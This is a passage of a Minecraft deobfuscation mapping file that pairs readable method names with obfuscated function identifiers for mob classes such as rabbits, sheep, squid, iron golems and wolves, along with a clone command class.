()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityRabbit$AIEvilAttack/func_179512_a (Lnet/minecraft/entity/EntityLivingBase;)D net/minecraft/entity/passive/EntityRabbit$AIEvilAttack/func_179512_a (Lnet/minecraft/entity/EntityLivingBase;)D +MD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/getSpeed ()F net/minecraft/entity/passive/EntityRabbit$EnumMoveType/func_180072_a ()F +MD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/func_180074_b ()F net/minecraft/entity/passive/EntityRabbit$EnumMoveType/func_180074_b ()F +MD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/getDuration ()I net/minecraft/entity/passive/EntityRabbit$EnumMoveType/func_180075_c ()I +MD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/func_180073_d ()I net/minecraft/entity/passive/EntityRabbit$EnumMoveType/func_180073_d ()I +MD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/values ()[Lnet/minecraft/entity/passive/EntityRabbit$EnumMoveType; net/minecraft/entity/passive/EntityRabbit$EnumMoveType/values ()[Lnet/minecraft/entity/passive/EntityRabbit$EnumMoveType; +MD: net/minecraft/entity/passive/EntityRabbit$AIAvoidEntity/updateTask ()V net/minecraft/entity/passive/EntityRabbit$AIAvoidEntity/func_75246_d ()V +MD: net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/func_180066_a (Z)V net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/func_180066_a (Z)V +MD: net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/doJump ()V net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/func_75661_b ()V +MD: net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/getIsJumping ()Z net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/func_180067_c ()Z +MD: net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/func_180065_d ()Z net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/func_180065_d ()Z +MD: net/minecraft/entity/passive/EntityRabbit$RabbitMoveHelper/onUpdateMoveHelper ()V net/minecraft/entity/passive/EntityRabbit$RabbitMoveHelper/func_75641_c ()V +MD: net/minecraft/entity/passive/EntityRabbit$AIPanic/updateTask ()V net/minecraft/entity/passive/EntityRabbit$AIPanic/func_75246_d ()V +MD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/shouldExecute ()Z net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/func_75250_a ()Z +MD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/shouldMoveTo (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/func_179488_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/continueExecuting ()Z net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/func_75253_b ()Z +MD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/startExecuting ()V net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/func_75249_e ()V +MD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/resetTask ()V net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/func_75251_c ()V +MD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/updateTask ()V net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/func_75246_d ()V +MD: net/minecraft/entity/passive/EntityRabbit/updateAITasks ()V net/minecraft/entity/passive/EntityRabbit/func_70619_bc ()V +MD: net/minecraft/entity/passive/EntityRabbit/spawnRunningParticles ()V net/minecraft/entity/passive/EntityRabbit/func_174830_Y ()V +MD: net/minecraft/entity/passive/EntityRabbit/handleStatusUpdate (B)V net/minecraft/entity/passive/EntityRabbit/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntityRabbit/calculateRotationYaw (DD)V net/minecraft/entity/passive/EntityRabbit/func_175533_a (DD)V +MD: net/minecraft/entity/passive/EntityRabbit/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityRabbit/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityRabbit/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/passive/EntityRabbit/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/passive/EntityRabbit/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/passive/EntityRabbit/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/passive/EntityRabbit/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityRabbit/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityRabbit/setMoveType (Lnet/minecraft/entity/passive/EntityRabbit$EnumMoveType;)V net/minecraft/entity/passive/EntityRabbit/func_175522_a (Lnet/minecraft/entity/passive/EntityRabbit$EnumMoveType;)V +MD: net/minecraft/entity/passive/EntityRabbit/access$000 (Lnet/minecraft/entity/passive/EntityRabbit;)Z net/minecraft/entity/passive/EntityRabbit/access$000 (Lnet/minecraft/entity/passive/EntityRabbit;)Z +MD: net/minecraft/entity/passive/EntityRabbit/isRabbitBreedingItem (Lnet/minecraft/item/Item;)Z net/minecraft/entity/passive/EntityRabbit/func_175525_a (Lnet/minecraft/item/Item;)Z +MD: net/minecraft/entity/passive/EntityRabbit/setJumping (ZLnet/minecraft/entity/passive/EntityRabbit$EnumMoveType;)V net/minecraft/entity/passive/EntityRabbit/func_175519_a (ZLnet/minecraft/entity/passive/EntityRabbit$EnumMoveType;)V +MD: net/minecraft/entity/passive/EntityRabbit/applyEntityAttributes ()V net/minecraft/entity/passive/EntityRabbit/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityRabbit/setMovementSpeed (D)V net/minecraft/entity/passive/EntityRabbit/func_175515_b (D)V +MD: net/minecraft/entity/passive/EntityRabbit/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityRabbit/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityRabbit/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityRabbit; net/minecraft/entity/passive/EntityRabbit/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityRabbit; +MD: net/minecraft/entity/passive/EntityRabbit/doMovementAction (Lnet/minecraft/entity/passive/EntityRabbit$EnumMoveType;)V net/minecraft/entity/passive/EntityRabbit/func_175524_b (Lnet/minecraft/entity/passive/EntityRabbit$EnumMoveType;)V +MD: net/minecraft/entity/passive/EntityRabbit/dropFewItems (ZI)V net/minecraft/entity/passive/EntityRabbit/func_70628_a (ZI)V +MD: net/minecraft/entity/passive/EntityRabbit/getJumpUpwardsMotion ()F net/minecraft/entity/passive/EntityRabbit/func_175134_bD ()F +MD: net/minecraft/entity/passive/EntityRabbit/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityRabbit/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityRabbit/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityRabbit/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityRabbit/addRandomDrop ()V net/minecraft/entity/passive/EntityRabbit/func_82164_bB ()V +MD: net/minecraft/entity/passive/EntityRabbit/getTotalArmorValue ()I net/minecraft/entity/passive/EntityRabbit/func_70658_aO ()I +MD: net/minecraft/entity/passive/EntityRabbit/func_175523_cj ()Z net/minecraft/entity/passive/EntityRabbit/func_175523_cj ()Z +MD: net/minecraft/entity/passive/EntityRabbit/getJumpingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityRabbit/func_175516_ck ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityRabbit/getRabbitType ()I net/minecraft/entity/passive/EntityRabbit/func_175531_cl ()I +MD: net/minecraft/entity/passive/EntityRabbit/getMoveTypeDuration ()I net/minecraft/entity/passive/EntityRabbit/func_175532_cm ()I +MD: net/minecraft/entity/passive/EntityRabbit/createEatingParticles ()V net/minecraft/entity/passive/EntityRabbit/func_175528_cn ()V +MD: net/minecraft/entity/passive/EntityRabbit/func_175518_cr ()V net/minecraft/entity/passive/EntityRabbit/func_175518_cr ()V +MD: net/minecraft/entity/passive/EntityRabbit/func_175520_cs ()V net/minecraft/entity/passive/EntityRabbit/func_175520_cs ()V +MD: net/minecraft/entity/passive/EntityRabbit/updateMoveTypeDuration ()V net/minecraft/entity/passive/EntityRabbit/func_175530_ct ()V +MD: net/minecraft/entity/passive/EntityRabbit/func_175517_cu ()V net/minecraft/entity/passive/EntityRabbit/func_175517_cu ()V +MD: net/minecraft/entity/passive/EntityRabbit/isCarrotEaten ()Z net/minecraft/entity/passive/EntityRabbit/func_175534_cv ()Z +MD: net/minecraft/entity/passive/EntityRabbit/isBreedingItem (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityRabbit/func_70877_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityRabbit/entityInit ()V net/minecraft/entity/passive/EntityRabbit/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityRabbit/onLivingUpdate ()V net/minecraft/entity/passive/EntityRabbit/func_70636_d ()V +MD: net/minecraft/entity/passive/EntityRabbit/func_175521_o (F)F net/minecraft/entity/passive/EntityRabbit/func_175521_o (F)F +MD: net/minecraft/entity/passive/EntityRabbit/setRabbitType (I)V net/minecraft/entity/passive/EntityRabbit/func_175529_r (I)V +MD: net/minecraft/entity/passive/EntityRabbit/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/passive/EntityRabbit/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/passive/EntityRabbit/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityRabbit/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntitySheep$1/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntitySheep$1/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntitySheep/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntitySheep/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntitySheep/updateAITasks ()V net/minecraft/entity/passive/EntitySheep/func_70619_bc ()V +MD: net/minecraft/entity/passive/EntitySheep/handleStatusUpdate (B)V net/minecraft/entity/passive/EntitySheep/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntitySheep/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/passive/EntitySheep/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/passive/EntitySheep/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntitySheep/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntitySheep/getRandomSheepColor (Ljava/util/Random;)Lnet/minecraft/item/EnumDyeColor; net/minecraft/entity/passive/EntitySheep/func_175510_a (Ljava/util/Random;)Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/entity/passive/EntitySheep/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/passive/EntitySheep/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/passive/EntitySheep/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntitySheep/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntitySheep/getDyeColorMixFromParents (Lnet/minecraft/entity/passive/EntityAnimal;Lnet/minecraft/entity/passive/EntityAnimal;)Lnet/minecraft/item/EnumDyeColor; net/minecraft/entity/passive/EntitySheep/func_175511_a (Lnet/minecraft/entity/passive/EntityAnimal;Lnet/minecraft/entity/passive/EntityAnimal;)Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/entity/passive/EntitySheep/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntitySheep/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntitySheep/getDyeRgb (Lnet/minecraft/item/EnumDyeColor;)[F net/minecraft/entity/passive/EntitySheep/func_175513_a (Lnet/minecraft/item/EnumDyeColor;)[F +MD: net/minecraft/entity/passive/EntitySheep/getEyeHeight ()F net/minecraft/entity/passive/EntitySheep/func_70047_e ()F +MD: net/minecraft/entity/passive/EntitySheep/applyEntityAttributes ()V net/minecraft/entity/passive/EntitySheep/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntitySheep/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntitySheep/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntitySheep/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntitySheep; net/minecraft/entity/passive/EntitySheep/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntitySheep; +MD: net/minecraft/entity/passive/EntitySheep/setFleeceColor (Lnet/minecraft/item/EnumDyeColor;)V net/minecraft/entity/passive/EntitySheep/func_175512_b (Lnet/minecraft/item/EnumDyeColor;)V +MD: net/minecraft/entity/passive/EntitySheep/dropFewItems (ZI)V net/minecraft/entity/passive/EntitySheep/func_70628_a (ZI)V +MD: net/minecraft/entity/passive/EntitySheep/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntitySheep/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntitySheep/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntitySheep/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntitySheep/getFleeceColor ()Lnet/minecraft/item/EnumDyeColor; net/minecraft/entity/passive/EntitySheep/func_175509_cj ()Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/entity/passive/EntitySheep/getSheared ()Z net/minecraft/entity/passive/EntitySheep/func_70892_o ()Z +MD: net/minecraft/entity/passive/EntitySheep/entityInit ()V net/minecraft/entity/passive/EntitySheep/func_70088_a ()V +MD: net/minecraft/entity/passive/EntitySheep/setSheared (Z)V net/minecraft/entity/passive/EntitySheep/func_70893_e (Z)V +MD: net/minecraft/entity/passive/EntitySheep/onLivingUpdate ()V net/minecraft/entity/passive/EntitySheep/func_70636_d ()V +MD: net/minecraft/entity/passive/EntitySheep/getHeadRotationPointY (F)F net/minecraft/entity/passive/EntitySheep/func_70894_j (F)F +MD: net/minecraft/entity/passive/EntitySheep/getHeadRotationAngleX (F)F net/minecraft/entity/passive/EntitySheep/func_70890_k (F)F +MD: net/minecraft/entity/passive/EntitySheep/eatGrassBonus ()V net/minecraft/entity/passive/EntitySheep/func_70615_aA ()V +MD: net/minecraft/entity/passive/EntitySheep/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntitySheep/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySnowman/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntitySnowman/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntitySnowman/attackEntityWithRangedAttack (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/entity/monster/EntitySnowman/func_82196_d (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/entity/monster/EntitySnowman/getEyeHeight ()F net/minecraft/entity/monster/EntitySnowman/func_70047_e ()F +MD: net/minecraft/entity/monster/EntitySnowman/applyEntityAttributes ()V net/minecraft/entity/monster/EntitySnowman/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntitySnowman/dropFewItems (ZI)V net/minecraft/entity/monster/EntitySnowman/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntitySnowman/onLivingUpdate ()V net/minecraft/entity/monster/EntitySnowman/func_70636_d ()V +MD: net/minecraft/entity/passive/EntitySquid$AIMoveRandom/shouldExecute ()Z net/minecraft/entity/passive/EntitySquid$AIMoveRandom/func_75250_a ()Z +MD: net/minecraft/entity/passive/EntitySquid$AIMoveRandom/updateTask ()V net/minecraft/entity/passive/EntitySquid$AIMoveRandom/func_75246_d ()V +MD: net/minecraft/entity/passive/EntitySquid/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntitySquid/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntitySquid/isInWater ()Z net/minecraft/entity/passive/EntitySquid/func_70090_H ()Z +MD: net/minecraft/entity/passive/EntitySquid/handleStatusUpdate (B)V net/minecraft/entity/passive/EntitySquid/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntitySquid/access$000 (Lnet/minecraft/entity/passive/EntitySquid;)Z net/minecraft/entity/passive/EntitySquid/access$000 (Lnet/minecraft/entity/passive/EntitySquid;)Z +MD: net/minecraft/entity/passive/EntitySquid/getEyeHeight ()F net/minecraft/entity/passive/EntitySquid/func_70047_e ()F +MD: net/minecraft/entity/passive/EntitySquid/applyEntityAttributes ()V net/minecraft/entity/passive/EntitySquid/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntitySquid/func_175568_b (FFF)V net/minecraft/entity/passive/EntitySquid/func_175568_b (FFF)V +MD: net/minecraft/entity/passive/EntitySquid/dropFewItems (ZI)V net/minecraft/entity/passive/EntitySquid/func_70628_a (ZI)V +MD: net/minecraft/entity/passive/EntitySquid/getSoundVolume ()F net/minecraft/entity/passive/EntitySquid/func_70599_aP ()F +MD: net/minecraft/entity/passive/EntitySquid/getCanSpawnHere ()Z net/minecraft/entity/passive/EntitySquid/func_70601_bi ()Z +MD: net/minecraft/entity/passive/EntitySquid/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntitySquid/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntitySquid/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntitySquid/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntitySquid/moveEntityWithHeading (FF)V net/minecraft/entity/passive/EntitySquid/func_70612_e (FF)V +MD: net/minecraft/entity/passive/EntitySquid/onLivingUpdate ()V net/minecraft/entity/passive/EntitySquid/func_70636_d ()V +MD: net/minecraft/entity/passive/EntitySquid/func_175567_n ()Z net/minecraft/entity/passive/EntitySquid/func_175567_n ()Z +MD: net/minecraft/entity/passive/EntitySquid/canTriggerWalking ()Z net/minecraft/entity/passive/EntitySquid/func_70041_e_ ()Z +MD: net/minecraft/entity/passive/EntitySquid/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntitySquid/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper/access$000 (Lnet/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper;)D net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper/access$000 (Lnet/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper;)D +MD: net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper/access$100 (Lnet/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper;Lnet/minecraft/entity/EntityLivingBase;Z)Z net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper/access$100 (Lnet/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper;Lnet/minecraft/entity/EntityLivingBase;Z)Z +MD: net/minecraft/entity/monster/EntityIronGolem/updateAITasks ()V net/minecraft/entity/monster/EntityIronGolem/func_70619_bc ()V +MD: net/minecraft/entity/monster/EntityIronGolem/handleStatusUpdate (B)V net/minecraft/entity/monster/EntityIronGolem/func_70103_a (B)V +MD: net/minecraft/entity/monster/EntityIronGolem/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/monster/EntityIronGolem/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/monster/EntityIronGolem/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityIronGolem/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityIronGolem/canAttackClass (Ljava/lang/Class;)Z net/minecraft/entity/monster/EntityIronGolem/func_70686_a (Ljava/lang/Class;)Z +MD: net/minecraft/entity/monster/EntityIronGolem/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/monster/EntityIronGolem/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/monster/EntityIronGolem/setHoldingRose (Z)V net/minecraft/entity/monster/EntityIronGolem/func_70851_e (Z)V +MD: net/minecraft/entity/monster/EntityIronGolem/applyEntityAttributes ()V net/minecraft/entity/monster/EntityIronGolem/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityIronGolem/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityIronGolem/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityIronGolem/dropFewItems (ZI)V net/minecraft/entity/monster/EntityIronGolem/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityIronGolem/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityIronGolem/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityIronGolem/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityIronGolem/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityIronGolem/getAttackTimer ()I net/minecraft/entity/monster/EntityIronGolem/func_70854_o ()I +MD: net/minecraft/entity/monster/EntityIronGolem/getHoldRoseTick ()I net/minecraft/entity/monster/EntityIronGolem/func_70853_p ()I +MD: net/minecraft/entity/monster/EntityIronGolem/isPlayerCreated ()Z net/minecraft/entity/monster/EntityIronGolem/func_70850_q ()Z +MD: net/minecraft/entity/monster/EntityIronGolem/entityInit ()V net/minecraft/entity/monster/EntityIronGolem/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityIronGolem/decreaseAirSupply (I)I net/minecraft/entity/monster/EntityIronGolem/func_70682_h (I)I +MD: net/minecraft/entity/monster/EntityIronGolem/setPlayerCreated (Z)V net/minecraft/entity/monster/EntityIronGolem/func_70849_f (Z)V +MD: net/minecraft/entity/monster/EntityIronGolem/onLivingUpdate ()V net/minecraft/entity/monster/EntityIronGolem/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityIronGolem/getVillage ()Lnet/minecraft/village/Village; net/minecraft/entity/monster/EntityIronGolem/func_70852_n ()Lnet/minecraft/village/Village; +MD: net/minecraft/entity/monster/EntityIronGolem/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/EntityIronGolem/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/EntityIronGolem/collideWithEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/monster/EntityIronGolem/func_82167_n (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/passive/EntityWaterMob/canDespawn ()Z net/minecraft/entity/passive/EntityWaterMob/func_70692_ba ()Z +MD: net/minecraft/entity/passive/EntityWaterMob/onEntityUpdate ()V net/minecraft/entity/passive/EntityWaterMob/func_70030_z ()V +MD: net/minecraft/entity/passive/EntityWaterMob/isPushedByWater ()Z net/minecraft/entity/passive/EntityWaterMob/func_96092_aw ()Z +MD: net/minecraft/entity/passive/EntityWaterMob/canBreatheUnderwater ()Z net/minecraft/entity/passive/EntityWaterMob/func_70648_aU ()Z +MD: net/minecraft/entity/passive/EntityWaterMob/getExperiencePoints (Lnet/minecraft/entity/player/EntityPlayer;)I net/minecraft/entity/passive/EntityWaterMob/func_70693_a (Lnet/minecraft/entity/player/EntityPlayer;)I +MD: net/minecraft/entity/passive/EntityWaterMob/getCanSpawnHere ()Z net/minecraft/entity/passive/EntityWaterMob/func_70601_bi ()Z +MD: net/minecraft/entity/passive/EntityWaterMob/isNotColliding ()Z net/minecraft/entity/passive/EntityWaterMob/func_70058_J ()Z +MD: net/minecraft/entity/passive/EntityWaterMob/getTalkInterval ()I net/minecraft/entity/passive/EntityWaterMob/func_70627_aG ()I +MD: net/minecraft/command/CommandClone/getRequiredPermissionLevel ()I net/minecraft/command/CommandClone/func_82362_a ()I +MD: net/minecraft/command/CommandClone/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandClone/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandClone/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandClone/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandClone/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandClone/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandClone/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandClone/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityWolf$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/passive/EntityWolf$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/passive/EntityWolf$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/passive/EntityWolf$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/passive/EntityWolf/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntityWolf/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntityWolf/canDespawn ()Z net/minecraft/entity/passive/EntityWolf/func_70692_ba ()Z +MD: net/minecraft/entity/passive/EntityWolf/updateAITasks ()V net/minecraft/entity/passive/EntityWolf/func_70619_bc ()V +MD: net/minecraft/entity/passive/EntityWolf/handleStatusUpdate (B)V net/minecraft/entity/passive/EntityWolf/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntityWolf/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/passive/EntityWolf/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/passive/EntityWolf/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityWolf/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityWolf/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/passive/EntityWolf/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/passive/EntityWolf/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityWolf/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityWolf/shouldAttackEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/passive/EntityWolf/func_142018_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/passive/EntityWolf/canMateWith (Lnet/minecraft/entity/passive/EntityAnimal;)Z net/minecraft/entity/passive/EntityWolf/func_70878_b (Lnet/minecraft/entity/passive/EntityAnimal;)Z +MD: net/minecraft/entity/passive/EntityWolf/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityWolf/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityWolf/setCollarColor (Lnet/minecraft/item/EnumDyeColor;)V net/minecraft/entity/passive/EntityWolf/func_175547_a (Lnet/minecraft/item/EnumDyeColor;)V +MD: 